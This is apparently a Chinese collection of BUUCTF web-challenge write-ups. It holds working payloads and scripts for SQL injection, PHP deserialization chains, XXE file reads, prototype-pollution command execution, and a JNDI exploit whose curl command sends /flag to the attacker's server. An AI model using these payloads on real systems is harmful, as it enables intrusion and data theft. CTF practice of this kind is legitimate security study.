var_dump(public_key());
var_dump(private_key());
phpinfo();

result

密码处进行注入:

0’ union select flag from user where username=’crispr

[b01lers2020]Life on Mars

抓包存在搜索,进行sql注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
query?search=chryse_planitia+order+by+2--

query?search=chryse_planitia+union+select+(select+group_concat(schema_name)from+information_schema.schemata),2--

-- "information_schema,alien_code,aliens",

query?search=chryse_planitia+union+select+(select+group_concat(table_name)from+information_schema.tables+where+table_schema='alien_code'),2--

--code

query?search=chryse_planitia+union+select+(select+group_concat(column_name)from+information_schema.columns+where+table_name='code'),2--

"id,code

/query?search=chryse_planitia+union+select+(select+group_concat(id,code)from+alien_code.code),2--

没有过滤,靠经验和测试

[GKCTF 2021]easycms

访问admin.php,弱口令admin和12345登录

进入后台后,有两种方法可以获取flag:

任意文件下载

设计->主题->选择其中一个右下角的自定义->导出主题->将必填的都随便填上并保存->复制下载链接:

http://48ec92e1-5f1c-48eb-b05e-0434209e65fd.node4.buuoj.cn:81/admin.php?m=ui&f=downloadtheme&theme=L3Zhci93d3cvaHRtbC9zeXN0ZW0vdG1wL3RoZW1lL21vYmlsZS8xLnppcA==

base64解码->/var/www/html/system/tmp/theme/mobile/1.zip

直接绝对路径,将/flagbase64编码后传入

但这种属于猜位置,如果是靠执行/readflag获取flag的话是没办法用的

任意代码执行

设计->主题(桌面,别选到移动)->自定义->首页->编辑幻灯片->类型选择php源代码,直接写文件,但发现要存在一个/var/www/html/system/tmp/下的一个txt文件

可以在:设计->组件->素材库->随便上传一个写了点垃圾信息的txt->编辑,可以看到存储路径:source/default/wide/,进行一个目录穿越,但似乎有长度限制,一个一个穿下去试试,最后尝试出退出五次到达/var/www/html/,这个时候再进入system/tmp即可,例如我填的就是:../../../../../system/tmp/sdft.txt

回到上一步就可以保存写的马了

成功代码执行,phpinfo页面查看无disable_function,直接查看根目录并读取flag即可

总结,感觉应该是两个方法结合,第一个地方读取源码,找到第二个方法进行getshell

[强网杯 2019]Upload

文件上传

随便注册个登上去,可以上传文件,但只能上传png图片,随便找一张在最后写个马传上去,然后图片显示出来了,上传选项也没了,查看页面源码可以看到文件相对路径

源码泄露-反序列化

www.tar.gz下载到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
// 其中Profile.php里有一句:
@copy($this->filename_tmp, $this->filename);

// 两个参数都可以控制,只要将上传的带马图片复制为另一个php文件即可解析

// 前置条件
if(getimagesize($this->filename_tmp)) {
// filename_tmp赋值为上传的图片路径,检测文件的图片头,这个图片是经得起检测的,因为上传的时候就检测了一次了

// 前置条件
if($this->ext) {
// 可控,赋值为1

if(!empty($_FILES)){
// 这次没有上传文件,不会调用

// 需要调用到这个方法
public function upload_img(){


// 上传时所带的cookie,base64解码之后是一段反序列化字符串,也就是下面的Profile类里的update_cookie()方法会解析的,在register类的析构方法可控,Profile类里面没有index方法,可以触发魔术方法__call,语句if($this->{$name}){又会因为没有index属性调用到魔术方法__get,返回值可控,所以__call方法里面调用的函数可控,于是可以调用到upload_img方法
public function __get($name)
{
return $this->except[$name];
}

public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}

// register.php
public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}

public function update_cookie(){
$this->checker->profile['img']=$this->img;
cookie("user",base64_encode(serialize($this->checker->profile)),3600);
}

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
namespace app\web\controller;

class Register{
public $checker;
public $registed =0;
}
class Profile{
public $checker =0 ;
public $filename_tmp="./upload/cc551ab005b2e60fbdc88de809b2c4b1/bdf4f1693befabb4df7e42e7eaa44e2e.png";
public $upload_menu;
public $filename="upload/1.php";
public $ext=1;
public $img;
public $except=array("index"=>"upload_img");
}

$a = new Register();
$a->checker = new Profile();
$a->checker->checker=0;

echo base64_encode(serialize($a));

bestphp’s revenge

访问flag.php:

1
only localhost can get flag!session_start(); echo 'only localhost can get flag!'; $flag = 'LCTF{*************************}'; if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ $_SESSION['flag'] = $flag; } only localhost can get flag!

主页面显示了源码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>

由于b赋值在call_user_func前,之后又未再次赋值,因此变量b是可控的,可以使用extract函数进行变量覆盖

name处可以给__SESSION赋值,因此可以考虑session反序列化,利用SoapClient类进行SSRF+CRLF攻击

最后的call_user_func触发一个带cookie的ssrf即可

先将序列化字符串传入,并且使序列化引擎为php_serialize,

1
2
$_SESSION['name'] = 'blank';
a:1:{s:4:"name";s:5:"blank";}

而默认引擎为serialize:

1
2
$_SESSION['name'] = 'sky';
name|s:5:"blank"

而我们序列化的:

1
2
3
4
5
6
7
8
9
10
<?php
$a = new SoapClient(null,
array(
'user_agent' => "1\r\nCookie:PHPSESSID=d3ao04u25q6hoh3c4jbead9ru9",
'uri' => '1',
'location' => 'http://127.0.0.1/flag.php'
)
);
$b = serialize($a);
echo urlencode($b);
1
2
3
GET:    /?f=session_start&name=|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A46%3A%221%0D%0ACookie%3APHPSESSID%3Dd3ao04u25q6hoh3c4jbead9ru9%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

POST: serialize_handler=php_serialize

被传入后,__SESSION数组的第一位会被解析为一个object(SoapClient)

接着再次传入:

1
2
3
GET:    /?f=extract

POST: b=call_user_func

由于call_user_func函数处理数组时会将数组中第一个参数名作为类名,第二个参数作为方法进行调用,结果就是会触发到原生类SoapClient的魔术方法__call,于是就像上面文章链接里说的那样向目标地址发送消息,并且带上了伪造的cookie,由于cookie里的session是一一对应的,就像用户登录那样,于是就能通过这个cookie保存下flag

[CSAWQual 2019]Web_Unagi

文件上传,看了一下有个格式,点击here,是一个xml文件,about提示了flag位置,user.php应该就是渲染的格式展示文件,尝试xxe注入,写一个xml文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0"?>
<!DOCTYPE note[
<!ENTITY muhua SYSTEM "file:///flag"
>]>
<users>
<user>
<username>no</username>
<password>a</password>
<name> Bob</name>
<email>bob@fakesite.com</email>
<group>CSAW2019</group>
<intro>&muhua;</intro>
</user>
</users>

有waf,搜索一下绕waf的方法:utf-16

直接打开kali(kali指令是真滴全):

iconv -f utf8 -t utf16 1.xml>2.xml

其他标签被渲染时有长度限制不能显示完全,可以在user.php看到有一个intro标签

[GYCTF2020]Ez_Express

随便注册个,登上去进入主页可以在页面源码看到提示,在www.zip下载到源码

1
2
3
4
5
6
7
8
9
<h4>Hint</h4>
<p>Hello,<%=user%>
<%if(user=="ADMIN"){%>
,flag in /flag
<%}else{%>
请使用ADMIN登录</p>
<%}%>
<p><!-- <p>/www.zip</p> --></p>

需要先进行一个注册,检测为注册时有个过滤,会正则匹配admin,大小写不敏感

1
2
3
4
5
6
7
8
9
10
11
function safeKeyword(keyword) {
if(keyword.match(/(admin)/is)) {
return keyword
}

return undefined
}
if(req.body.Submit=="register"){
if(safeKeyword(req.body.userid)){
res.end("<script>alert('forbid word');history.go(-1);< /script>")
}

之后会进行一个将注册的名字转换为大写再存入对象的操作:

1
2
3
4
5
req.session.user={
'user':req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin':false
}

这里有一个字符:ı经过toUpperCase处理后会变为I

绕过,之后进行原型链污染:

1
2
3
4
5
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});

在action这个路由下会将传入的js对象赋值给data

1
2
3
router.get('/info', function (req, res) {
res.render('index',data={'user':res.outputFunctionName});
})

而info路由中会渲染outputFunctionName属性,而该属性可以定位到上文,是未定义属性,而在原型中定义这个属性就可以污染,进而使得渲染的是我们传入的指令

在action路由抓包,将传入类型改为Content-Type: application/json

1
{"lua":"","__proto__":{"outputFunctionName":"ADMIN;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"},"Submit":""}

接着访问info触发即可获取

[安洵杯 2019]不是文件上传

github上的开源项目:wowouploadimage

可以看到将上传的文件名单独拆出来作为title字段存入数据库,没有过滤,最后一个attr字段会被反序列化,有一个利用点可以读文件,sql注入加打反序列化

已知其sql语句:

1
2
3
INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")
-- 经过代码审计可知title字段就是输入的文件名,并且未经过过滤,此时可以进行注入使之多数据存入
INSERT INTO images ('title','file','filename','path','attr') VALUES(".(implode(",",$sql_val)).")

可以在helper里找到反序列化入口,在析构方法中触发,然后调用view方法,判断条件都是可控参数,于是直接构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php 
class helper {
protected $ifview;
protected $config;
function __construct(){
$this->ifview = true;
$this->config = '/flag';
}
}

$a = new helper();
$b = serialize($a);
$b = str_replace(chr(0).'*'.chr(0), '\0\0\0', $b);
$b = bin2hex($b);
var_dump('0x'.$b);
?>

(应该是版本比较高,不能将protect改为public绕过)
因为原本存入之前有一个正则替换,在反序列化时又会替换回来,但我们使用sql注入没法经过他的替换,因此创建时进行一个替换,否则没法存入,再进行一个16进制编码

最终

1
1','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d),('1.png

[RoarCTF 2019]Online Proxy

还是有意思的,火狐插件X-Forwarded-For Header开着抓个包,发现回显:

1
2
Current Ip: 123.123.123.123 
Last Ip: -->

会显示当前xff和上次的xff,于是改一个,发现确实显示了上一次的xff和当前的xff,再传个,于是又是一个,又把上一个显示了,但传两次相同xff,依然是上个不同的xff,那如果上一次是直接复制之前那个,那这次已经被赋了上次的值,那两次ip显示的应该都是这次的xff,那么肯定是把上次的存起来了,然后判断两次相同就去存储的地方查,那就试试sql

测试sql,单引号闭合,并且0’||’0,但也没办法把查询结果直接显示出来,尝试bool盲注:

1
0'||length(database())>0||'0

然后改成1重复传两次,第一次显示上一次ip为出入内容,第二次却显示为1,说明第一次仅仅是把上一次的直接贴在那里,第二次是从数据库中查找,有了注入格式,直接脚本跑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import requests
import string

url = 'http://node4.buuoj.cn:25970/?url=http://127.0.0.1'

databasep = "select database()"

schemap = "select group_concat(schema_name)from information_schema.schemata"

tablep = "select group_concat(table_name)from information_schema.tables where table_schema='F4l9_D4t4B45e'"

columnp = "select group_concat(column_name)from information_schema.columns where table_name='F4l9_t4b1e'"

flagp = "select group_concat(F4l9_C01uMn)from F4l9_D4t4B45e.F4l9_t4b1e"

str1 = str = '|' + '-' + string.ascii_lowercase + string.ascii_uppercase + string.digits + '{' + '}' + '_' + ',' + '~'

result = ''
for j in range(1,200):
for i in str1:
headers = {
"Host": "node4.buuoj.cn:25970",
"Cookie":"track_uuid=eb8a6ed6-c121-4dc9-8e29-ea9c2efa0539",
"X-Forwarded-For":"0'||ord(substr(("+flagp+"),{0},1))={1}||'0".format(j,ord(i))
}
print(ord(i))
b = requests.get(url = url,headers = headers)
# print(b.text)
headers = {
"Host": "node4.buuoj.cn:25970",
"Cookie":"track_uuid=eb8a6ed6-c121-4dc9-8e29-ea9c2efa0539",
"X-Forwarded-For":"1"
}
c = requests.get(url = url,headers = headers)
a = requests.get(url = url,headers = headers)
if 'Last Ip: 1' in a.text:
# print(a.text)
# break
result += i
print(result)
break
if 'Last Ip: 1' not in a.text:
if i == '~':
print(result)
break

# information_schema,ctftraining,mysql,performance_schema,test,ctf,F4l9_D4t4B45e
# F4l9_D4t4B45e
# F4l9_t4b1e
# F4l9_C01uMn

[红明谷CTF 2021]JavaWeb

访问login,显示/json,于是又访问json,页面跳转回login,但带了点别的东西,抓包看看有些啥:

Set-Cookie: JSESSIONID=1A813F64002EB55A36B88EA572E8E593
设置了一个cookie值,然后跳回login

尝试改成POST访问:
显示:登录失败!

然后又是一个cookie值

Set-Cookie: rememberMe=deleteMe

文章 Shiro RememberMe反序列化漏洞复现(Shiro-550)

里面写到:看到Response中 Setcookie:rememberMe=deleteMe; 就基本可以判断存在反序列化漏洞了。

但这个登录没办法,甚至连登录框都没有,那么就需要绕过登录:Apache Shiro权限绕过漏洞分析(CVE-2020-11989)

尝试该cve,访问json会跳转回登录:

/;/json
返回405,加上body,返回500

改一下头部

Accept: /

可以看到jackson,打反序列化

利用注入工具: JNDI-Injection-Exploit

咱也是第一次使用这个工具,给咱绕晕了嘞,简单说一下安装使用,首先修改文件JNDI-Injection-Exploit/src/main/java/run/ServerStart.java那三个端口,自己在服务器上新开三个空闲端口,然后照着Readme里说的安装,因为服务器上已经装过mvn环境了,所以在JNDI-Injection-Exploit目录下执行命令mvn clean package -DskipTests,此时可执行文件在JNDI-Injection-Exploit-master/target下,进入,执行即可:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -c “curl 自己服务器IP:自己的空端口 -File=@/flag” -A “自己的服务器IP”

-C 是在目标靶机需要执行的指令,这里简单来说就是执行curl我设定好的服务器端口,并将文件带出来,会生成几个类似:rmi://自己的服务器IP:端口/egjtmt,然后监听自己curl的端口

然后使用CVE-2019-14439的链子打,

[“ch.qos.logback.core.db.JNDIConnectionSource”,{“jndiLocation”:”rmi://自己的服务器IP:端口/工具生成的随机字符串”}]

监听处得到flag

[HarekazeCTF2019]Avatar Uploader 1

上github获取一下upload页面的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// check file size
if ($_FILES['file']['size'] > 256000) {
error('Uploaded file is too large.');
}

// check file type
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$type = finfo_file($finfo, $_FILES['file']['tmp_name']);
finfo_close($finfo);
if (!in_array($type, ['image/png'])) {
error('Uploaded file is not PNG format.');
}

// check file width/height
$size = getimagesize($_FILES['file']['tmp_name']);
if ($size[0] > 256 || $size[1] > 256) {
error('Uploaded image is too large.');
}
if ($size[2] !== IMAGETYPE_PNG) {
// I hope this never happens...
error('What happened...? OK, the flag for part 1 is: <code>' . getenv('FLAG1') . '</code>');
}

最终要满足的条件:

if ($size[2] !== IMAGETYPE_PNG) {

IMAGETYPE_PNG是以下代码获取到的:

1
2
3
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$type = finfo_file($finfo, $_FILES['file']['tmp_name']);
finfo_close($finfo);

$size[2]则是$size = getimagesize($_FILES['file']['tmp_name']);获取到的文件类型

测试一下

1
2
3
4
5
6
7
8
9
10
11
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$type = finfo_file($finfo, $_FILES['file']['tmp_name']);
finfo_close($finfo);

var_dump(IMAGETYPE_PNG);
var_dump($type);

$size = getimagesize($_FILES['file']['tmp_name']);
var_dump($size);

var_dump($size[2] !== IMAGETYPE_PNG);

上传也扒它的源码

1
2
3
4
<form enctype="multipart/form-data" action="bb.php" method="POST">
<p><input type="file" name="file"></p>
<input type="submit" value="Upload">
</form>

找一个PNG文件,用010打开,进行简单测试,根据misc题的经验,第二行前八位决定长宽,只将前两行保留,发现两组数据照样存在,接着尝试一点一点删除第二行,当破坏到第二行前八位时,$size返回false了,而IMAGETYPE_PNG依旧是3,var_dump($size[2] !== IMAGETYPE_PNG);也为true了,因为getimagesize无法获取到长度部分,因此返回了false,而finfo_file函数只对第一行进行处理并不收影响

尝试上传,绕过成功

[BSidesCF 2019]SVGMagic

传个svg图形也500

浅学一下svg格式

svg文件也是xml格式,xxe实体注入

先查看/etc/passwd,将获取到的文件内容转换成了图片,靠眼睛看

神奇的目录/proc/self

此目录下的,测试,ls/proc/self/cwd,获得到的就是当前目录,于是获取当前目录下的flag.txt

1
2
3
4
5
6
7
8
9
10
11
Content-Disposition: form-data; name="svgfile"; filename="circle1.svg"
Content-Type: image/svg+xml

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE note[
<!ENTITY muhua SYSTEM "file:///proc/self/cwd/flag.txt"
>]>

<svg height="1000" width="1000">
<text x="10" y="15">&muhua;</text>
</svg>

[FireshellCTF2020]Caas

试试编译php代码,报错,但可以看到报错内容:

1
b'/tmp/caas_71b3ye7k.c:1:1: error: expected identifier or \xe2\x80\x98(\xe2\x80\x99 before \xe2\x80\x98<\xe2\x80\x99 token\n <?php\n ^\n/tmp/caas_71b3ye7k.c:3:1: error: expected identifier or \xe2\x80\x98(\xe2\x80\x99 before \xe2\x80\x98?\xe2\x80\x99 token\n ?>\n ^\n

报错的是个c文件,尝试写个打印hello world的c源码,发现下载了个东西,然而并不是可执行文件或者输出内容,但说明头文件是可以在内部调用的,尝试调用自定义头文件的方法:

1
2
#include "/etc/passwd"
#include "/flag"

直接出了,还是很良心的题

[网鼎杯 2020 半决赛]AliceWebsite

有个源码,下载看看:

1
2
3
4
5
6
7
8
<?php
$action = (isset($_GET['action']) ? $_GET['action'] : 'home.php');
if (file_exists($action)) {
include $action;
} else {
echo "File not found!";
}
?>

也没waf,php协议冲一下,发现file_exists过不去,尝试目录穿越也没办法,打算看一下该函数的定义,搞了半天,只看到c里有一个php-7.4.11/ext/standard/php_filestat.h:43:PHP_FUNCTION(file_exists);,这要然后还有宏替换和zend,感觉有点大海捞针,还查到只能查open_basedir定义的文件夹下的

回到题目,直接:

index.php?action=/etc/passwd
居然有,总不会/flag就是flag吧
index.php?action=/flag

October 2019 Twice SQL Injection

瞟一眼源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
case 'reg':
if (isset($_POST['username']) && $_POST['username'] != "") {
$username = addslashes($_POST['username']);
$password = md5($_POST['password']);
if (mysql_query("insert into users(username,password,info) values ('{$username}','{$password}','十月太懒,没有简介');")) {
header("Location: /?action=login");
} else {
header("Location: /?action=reg&msg=注册失败");
}
exit;
}
case 'change':
if (isset($_POST['info'])) {
$info = addslashes($_POST['info']);
if (mysql_query("update users set info='{$info}' where username='{$_SESSION['username']}';")) {
header("Location: /?action=index");
} else {
header("Location: /?action=change&msg=修改失败");
}
exit;
}
break;

存进去之前用户名使用了addslashes处理,change处却是直接使用的,存在一个二次注入

语句是这样的:

1
update users set info='{$info}' where username='{$_SESSION['username']}';

那么就可以这样利用:

1
update users set info='1' where username='muhua'||(length(database())>0)||username='2'

先注册一个username为1的用户,再注册个username为2的用户,分别修改info,然后布尔盲注

1
(ord(substr((select group_concat(schema_name)from information_schema.schemata),{},1))={})

每次都需要注册一个新的用户作为注入

ctftraining,information_schema,mysql,performance_schema,test

爆表名的时候突然失败了,仔细测试之后发现username长度似乎有限制,于是保证注入有效的情况下确实缩短了payload

顺带一提buu不许高速爆,导致这种简单题也肥肠折磨

flag,news,users

flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import requests
import time
import string

str1 = '|' + '-' + string.ascii_lowercase + string.ascii_uppercase + string.digits + '{' + '}' + '_' + ',' + '~'

url = "http://14773e2d-5eb6-4cc1-accb-c2824e5e5126.node4.buuoj.cn:81/?action="

flag = ""

sl = 0

e = 0

for i in range(1,200):
for j in str1:
sl += 1
if sl%8 == 0 :
print("""!!!
!!!
!!!""")
time.sleep(2)
print(j)
ks = requests.session()
schemap = "(ord(substr((select group_concat(schema_name)from information_schema.schemata),{0},1))={1})".format(i,ord(j))
tablep = "(ord(substr((select group_concat(table_name)from(information_schema.tables)where(table_schema=database())),{0},1))={1})".format(i,ord(j))
columnp = "(ord(substr((select group_concat(column_name)from(information_schema.columns)where(table_name='flag')),{0},1))={1})".format(i,ord(j))
flagp = "(ord(substr((select group_concat(flag)from(flag)),{0},1))={1})".format(i,ord(j))
# print(schemap)
data1 = {
"username":"'||"+ flagp +"||'",
"password":"1"
}
headers ={
"Cookie": "PHPSESSID=54586ef3b8422fed6bb3beeb5dcef926"
}
# print(data1)
# register
a = ks.post(url=url+"reg",data=data1,headers=headers)
# if "注册失败" in a.text:
# print("no")
# e = "~"
# break
# login
b = ks.post(url=url+"login",data=data1,headers=headers)
# index
re = ks.get(url=url+"index",headers=headers)
# print(re.text)
if "muhua" in re.text:
flag+=j
print(flag)
break
e = j
if e == "~":
print(flag)
break

二分法应该会快一点,下次一定

[Black Watch 入群题]Web

又是sql注入(震怒)!

找不到,

黑名单:
||,空格,”

单引号可用,括号可用,逗号可用,substr可用,ord可用,^可用

information_schema,ctftraining,mysql,performance_schema,test,news

FLAG_TABLE,news,users

FLAG_COLUMN

我可能低估这题的恶心程度了

id,username,password,ip,time,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS

可以登录的账密在库news,表admin里的第二个
admin,contents

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import requests
import time
import string

str1 = '|' + '-' + string.ascii_lowercase + '_' + ',' + string.ascii_uppercase + string.digits + '{' + '}' + '~'

url = "http://f638f5db-0b64-43ca-8d1e-cf4527cc4013.node4.buuoj.cn:81/backend/content_detail.php?id=0^"

flag = ""

sl = 0

e = 0

for i in range(1,200):
for j in str1:
sl += 1
if sl%8 == 0 :
print("""!!!
!!!
!!!""")
time.sleep(2)
schemap = "(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),{0},1))={1})".format(i,ord(j))
# tablep = "(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctftraining')),{0},1))={1})".format(i,ord(j))
tablep = "(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='news')),{0},1))={1})".format(i,ord(j))
# columnp = "(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='FLAG_TABLE')),{0},1))={1})".format(i,ord(j))
# columnp = "(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),{0},1))={1})".format(i,ord(j))
columnp = "(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='admin')),{0},1))={1})".format(i,ord(j))
# flagp = "(ord(substr((select(group_concat(FLAG_COLUMN))from(ctftraining.FLAG_TABLE)),{0},1))={1})".format(i,ord(j))
# flagp = "(ord(substr((select(group_concat(username,0x7c,password))from(ctftraining.users)),{0},1))={1})".format(i,ord(j))
flagp = "(ord(substr((select(group_concat(username,0x7c,password))from(news.admin)),{0},1))={1})".format(i,ord(j))

a = requests.get(url=url+flagp)

print(a.text)

print(j)
if "title" in a.text:
flag+=j
print(flag)
break
e=j
if e == "~":
print(flag)
break

就硬找

[CISCN2019 华东南赛区]Web4

打开没有源码泄露,只有一个路由read,使用url参数可以做一个代理,没什么用

抓包,发包,有一个Set-Cookie:ssession,值是jwt字符串

还可以看见一个没见过的东西:

Server: openresty
百度搜一下 openresty漏洞,Nginx/OpenResty目录穿越漏洞复现

GET /read?url=../../../../../etc/passwd
成功读取

读取当前目录下主页文件

GET /read?url=../../../../../proc/self/cwd/app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

@app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'

@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print str(ex)
return 'no response'

@app.route('/flag')
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'

if __name__=='__main__':
app.run(
debug=True,
host="0.0.0.0"
)

eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.YnZdUQ._WgJ4lDTbpohxjWGotCU37D31Q4

解密出来是hs256加密,然后是base64解码出www-data,那么这里需要改成fuck,密码:

1
2
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)

使用uuid的十进制作为随机数种子,然后取第一个随机数*233作为key,和破解debug时计算PIN码所用的是一样的

整整一晚上没算出正确session值,我终于开始考虑起版本的问题,我仔细检查,发现别人用python3版本的加解密脚本仍然能算出正确答案,于是仔细查看题目环境:

app.py中有一处

print str(ex)
确认是python2的打印语句,即使种子相同,不同版本,随机数得出的肯定也不同

先用python3环境把uuid.getnode计算出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# python3
import requests
import time
import string
import re

url = "http://76e54072-882d-42df-91c5-531899fda30f.node4.buuoj.cn:81/"
p1 = "read?url=../../../../../sys/class/net/eth0/address"
ks = requests.session()
se = ks.get(url)
ses = re.findall('session=(.*?);',str(se.headers))
sess = ses[0][:100]
a = ks.get(url+p1)
b = ''
b += a.text.replace('\n','')
cal = b.replace(':','')
cal2 = int(cal,16)
print(cal2)

然后在python2环境计算出key的值

1
2
3
4
5
6
7
8
# python2
import random

secret = 208913314809691
random.seed(secret)
c = random.random()
key = str(c*233)
print key

最后使用工具脚本算一手,脚本地址贴一下:github地址

1
2
3
4
5
6
7
8
9
┌──(root㉿smilemoon)-[/home/muhua/conv]
└─# python flask_session_cookie_manager3.py decode -c 'eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.Yne1pA.aQ_43h1Ge7LhsDo7t4gXBU3t9VI' -s '172.985791994'
{'username': b'www-data'}

<!-- 改成fuck再加密 -->

┌──(root㉿smilemoon)-[/home/muhua/conv]
└─# python flask_session_cookie_manager3.py encode -s '172.985791994' -t "{'username': b'fuck'}"
eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.YnfAuw.WPUWJ7ib2EfsVOPeKaw0jt8Ope8

[SUCTF 2018]annonymous

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

$MY = create_function("","die(`cat flag.php`);");
$hash = bin2hex(openssl_random_pseudo_bytes(32));
eval("function SUCTF_$hash(){"
."global \$MY;"
."\$MY();"
."}");
if(isset($_GET['func_name'])){
$_GET["func_name"]();
die();
}
show_source(__FILE__);

本地测试输出$MY的值返回%00lambda_174

1
2
$MY = create_function("","die(`cat flag.php`);");
var_dump(urlencode($MY));

create_function构建成功后返回%00lambda_加上数字1-999的一个任意数,之后每次重新访问都不断的加一,然后访问太多就会开启新的线程,就会重新开一个,多开几个进程,一直爆,总之运气好就能出了(那运气是真的好)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
import time
import string
import re

url = "http://cb43cbef-12a0-4cea-832e-87cb8f3e5d0d.node4.buuoj.cn:81/?func_name=%00lambda_"
i=0
while True:

print(i)
i+=1
# b = 999
a = requests.get(url=url+"1")
# a = requests.get(url+str(b))
# print()
# b = b-1
# a = requests.get(url)
print(a)
# print(a.text)
if "429" in str(a):
print("test")
time.sleep(2)
# break

if "flag" in a.text:
print(a.text)
break

[RoarCTF 2019]Simple Upload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
public function index()
{
show_source(__FILE__);
}
public function upload()
{
$uploadFile = $_FILES['file'] ;

if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
}

$upload = new \Think\Upload();// 实例化上传类
$upload->maxSize = 4096 ;// 设置附件上传大小
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
$upload->rootPath = './Public/Uploads/';// 设置附件上传目录
$upload->savePath = '';// 设置附件上传子目录
$info = $upload->upload() ;
if(!$info) {// 上传错误提示错误信息
$this->error($upload->getError());
return;
}else{// 上传成功 获取上传文件信息
$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));
}
}
}

看到使用了Think命名空间,可能是tp框架

输入错误地址可以看到tp3.2.4

下载源码:
地址:tp3.2.4

看对应的upload模块ThinkPHP\Library\Think

1
2
3
4
5
6
7
8
9
// 对上传文件数组信息处理
$files = $this->dealFiles($files);
foreach ($files as $key => $file) {
$file['name'] = strip_tags($file['name']);
if(!isset($file['key'])) $file['key'] = $key;
/* 通过扩展获取文件类型,可解决FLASH上传$FILES数组返回文件类型错误的问题 */
if(isset($finfo)){
$file['type'] = finfo_file ( $finfo , $file['tmp_name'] );
}

